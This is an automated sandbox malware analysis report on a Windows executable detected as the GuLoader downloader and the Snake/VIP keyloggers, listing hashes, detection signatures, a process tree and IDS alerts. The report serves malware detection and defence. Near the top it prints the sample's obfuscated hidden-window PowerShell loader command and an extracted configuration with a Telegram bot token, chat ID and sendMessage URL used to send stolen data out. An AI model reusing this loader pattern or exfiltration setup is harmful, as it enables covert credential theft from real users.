Edit tour
Windows
Analysis Report
pedido-035241.exe
Overview
General Information
| Sample name: | pedido-035241.exe |
| Analysis ID: | 1576204 |
| MD5: | 68ad57514cfb4e1cb4529556dbbc9b73 |
| SHA1: | 3681d090c965cd8af1c7bffd6fe5427e997daa41 |
| SHA256: | 4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac |
| Tags: | exeuser-James_inthe_box |
| Infos: |   |
 | |
Detection
GuLoader, Snake Keylogger, VIP Keylogger
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Found malware configuration
Yara detected GuLoader
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Powershell drops PE file
Queues an APC in another process (thread injection)
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Msiexec Initiated Connection
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Classification
- System is w10x64
pedido-035241.exe (PID: 7320 cmdline:
"C:\Users\ user\Deskt op\pedido- 035241.exe " MD5: 68AD57514CFB4E1CB4529556DBBC9B73) 
powershell.exe (PID: 7392 cmdline: powershell .exe -wind owstyle hi dden "$Veg es95=gc -r aw 'C:\Use rs\user\Ap pData\Loca l\Temp\glo bosely\baa dehavn\stn ner\takelm a.Uns';$Ma kulaturs=$ Veges95.Su bString(71 268,3);.$M akulaturs( $Veges95) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 7400 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
msiexec.exe (PID: 8000 cmdline: "C:\Window s\SysWOW64 \msiexec.e xe" MD5: 9D09DC1EDA745A5F87553048E57620CF)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| 404 Keylogger, Snake Keylogger | Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. | No Attribution |
{"C2 url": "https://api.telegram.org/bot7268913379:AAGd-tQ4vpps-mce2n9ECDznKp3DeHYACWw/sendMessage"}{"Exfil Mode": "Telegram", "Token": "7268913379:AAGd-tQ4vpps-mce2n9ECDznKp3DeHYACWw", "Chat_id": "7763958191", "Version": "4.4"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_SnakeKeylogger | Yara detected Snake Keylogger | Joe Security | ||
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| JoeSecurity_VIPKeylogger | Yara detected VIP Keylogger | Joe Security | ||
| JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
| JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security | ||
| Click to see the 2 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: | ||
| Source: | Author: frack113: | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-16T16:33:31.824733+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49812 | 104.21.67.152 | 443 | TCP |
| 2024-12-16T16:33:38.136504+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.4 | 49831 | 104.21.67.152 | 443 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-16T16:33:27.235984+0100 | 2803274 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49800 | 193.122.6.168 | 80 | TCP |
| 2024-12-16T16:33:30.173513+0100 | 2803274 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49800 | 193.122.6.168 | 80 | TCP |
| 2024-12-16T16:33:33.267532+0100 | 2803274 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49818 | 193.122.6.168 | 80 | TCP |
| Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-16T16:33:19.318083+0100 | 2803270 | 2 | Potentially Bad Traffic | 192.168.2.4 | 49778 | 172.217.19.174 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | Malware Configuration Extractor: | ||
| Source: | Malware Configuration Extractor: | ||
| Source: | Integrated Neural Analysis Model: | ||
Location Tracking | |
|---|
| Source: | DNS query: | ||
| Source: | Static PE information: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Static PE information: | ||
| Source: | Code function: | 0_2_00405C13 | |
| Source: | Code function: | 0_2_0040683D | |
| Source: | Code function: | 0_2_0040290B | |
| Source: | Code function: | 6_2_02BEF2C0 | |
| Source: | Code function: | 6_2_02BEF4AC | |
| Source: | Code function: | 6_2_02BEF961 | |
Networking | |
|---|
| Source: | DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | JA3 fingerprint: | ||
| Source: | JA3 fingerprint: | ||
| Source: | JA3 fingerprint: | ||
| Source: | DNS query: | ||
| Source: | DNS query: | ||
| Source: | DNS query: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | Suricata IDS: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | Code function: | 0_2_004056A8 | |
System Summary | |
|---|
| Source: | File created: | Jump to dropped file | ||
| Source: | Code function: | 0_2_004034F7 | |
| Source: | File created: | Jump to behavior | ||
| Source: | Code function: | 0_2_00406BFE | |
| Source: | Code function: | 6_2_02BED278 | |
| Source: | Code function: | 6_2_02BE5362 | |
| Source: | Code function: | 6_2_02BEC146 | |
| Source: | Code function: | 6_2_02BEC738 | |
| Source: | Code function: | 6_2_02BEC468 | |
| Source: | Code function: | 6_2_02BECA08 | |
| Source: | Code function: | 6_2_02BEE988 | |
| Source: | Code function: | 6_2_02BECFAA | |
| Source: | Code function: | 6_2_02BECCD8 | |
| Source: | Code function: | 6_2_02BE7118 | |
| Source: | Code function: | 6_2_02BE29E0 | |
| Source: | Code function: | 6_2_02BEE97A | |
| Source: | Code function: | 6_2_02BEF961 | |
| Source: | Code function: | 6_2_02BE9DE0 | |
| Source: | Static PE information: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Static PE information: | ||
| Source: | Classification label: | ||
| Source: | Code function: | 0_2_004034F7 | |
| Source: | Code function: | 0_2_00404954 | |
| Source: | Code function: | 0_2_004021AA | |
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Static PE information: | ||
| Source: | WMI Queries: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Static file information: | ||
| Source: | Static PE information: | ||
Data Obfuscation | |
|---|
| Source: | File source: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Anti Malware Scan Interface: | ||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Code function: | 6_2_02BE891F | |
| Source: | Code function: | 6_2_02BE8C30 | |
| Source: | Code function: | 6_2_02BE8DE0 | |
| Source: | Code function: | 6_2_0406710B | |
| Source: | Code function: | 6_2_04064F93 | |
| Source: | Code function: | 6_2_04066837 | |
| Source: | Code function: | 6_2_040629D6 | |
| Source: | File created: | Jump to dropped file | ||
| Source: | File created: | Jump to dropped file | ||
| Source: | File created: | Jump to behavior | ||
Hooking and other Techniques for Hiding and Protection | |
|---|
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
